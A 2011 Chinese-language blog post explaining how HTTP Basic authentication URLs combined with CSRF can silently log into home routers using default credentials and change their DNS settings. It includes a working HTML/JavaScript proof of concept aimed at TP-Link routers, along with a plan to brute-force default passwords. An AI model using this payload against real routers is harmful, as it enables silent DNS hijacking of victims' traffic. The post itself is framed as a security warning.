Http Authentication Url and csrf = Router Hacking !!!,Csrf入侵内网路由器。
2011-09-14 00:09
Http Authentication Url and csrf = Router Hacking !!!
首先简要的说下什么是Http Authentication,服务端返回一个401状态,并返回一个WWW-Authenticate头。
WWW-Authenticate头包含了Http Authentication认证框的一些描叙,如下图
在认证框中输入用户名和密码,将密码放入Authorization头中发送
YWRtaW46YWRtaW4=即是admin:admin的base64编码
Http Authentication这一认证过程,实际上早先在所有浏览器中支持以Http Authentication Url的形式访问登陆,即
http://user:password@url
而微软为了防止钓鱼URL的问题,出了一个安全补丁,禁止了Http Authentication Url,见
http://support.microsoft.com/kb/834489
科普完毕,八下之前的一些东西,前些年看到过国外黑路由的几个案例,其中比较精彩的有flash upnp attack,将内网指定IP的端口给映射出来进行攻击,当然还有部分路由有漏洞也可以将路由的WEB管理端口给映射出来进行攻击,后来FLASH将这个安全漏洞修补了。
回到正题上,我们知道国内大部分的家用路由都是使用的Http Authentication认证方式,比如我上图中的就是TPLINK路由,虽然IE禁止了Http Authentication Url,但是firefox、chrome等浏览器任然支持Http Authentication Url,同时以标签的形式嵌入Http Authentication Url可以强制Http Authentication认证成功,没有任何安全提示,于是邪恶的攻击方法来了。
1. 我们可以取国内各种路由的默认IP和默认密码构造一个Http Authentication Url暴力登陆脚本。
2.使用CSRF修改路由的DNS,指向我们的恶意DNS。
比如下面这个TPLINK的小DEMO:
<script> function dns(){ alert('I have changed your dns on my domain!') i = new Image; i.src='http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=8.8.8.8&dnsserver2=0.0.0.0&Save=%B1%A3+%B4%E6'; } </script> <img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=dns()>
访问tplink.html后!
偷偷加入一个8.8.8.8的DNS服务器!
想一想,黑客如果用这种攻击方式大规模攻击,将是如何恐怖?弹指一挥间,数万路由被静默修改DNS?
这是一个普遍的安全问题,您的路由器是否修改好了默认密码,不过值得庆幸的是只有firefox、chrome等浏览器存在此类安全问题。
相关内容:
Http Authentication Url and csrf = Router Hacking, Csrf入侵内网路由器